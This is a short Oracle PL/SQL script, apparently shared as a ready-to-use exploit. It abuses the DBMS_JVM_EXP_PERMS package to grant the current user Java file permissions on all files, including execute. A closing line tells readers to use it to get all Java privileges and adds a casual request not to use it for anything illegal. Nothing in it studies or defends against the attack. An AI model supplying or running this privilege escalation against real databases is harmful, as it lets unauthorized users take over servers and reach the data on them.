DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT ‘GRANT’,USER(), ‘SYS’,'java.io.FilePermission’,’<<ALL FILES>>‘,’execute’,'ENABLED’ FROM dual;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/


USE this TO get ALL JAVA privillege. Please dont USE FOR illegal shit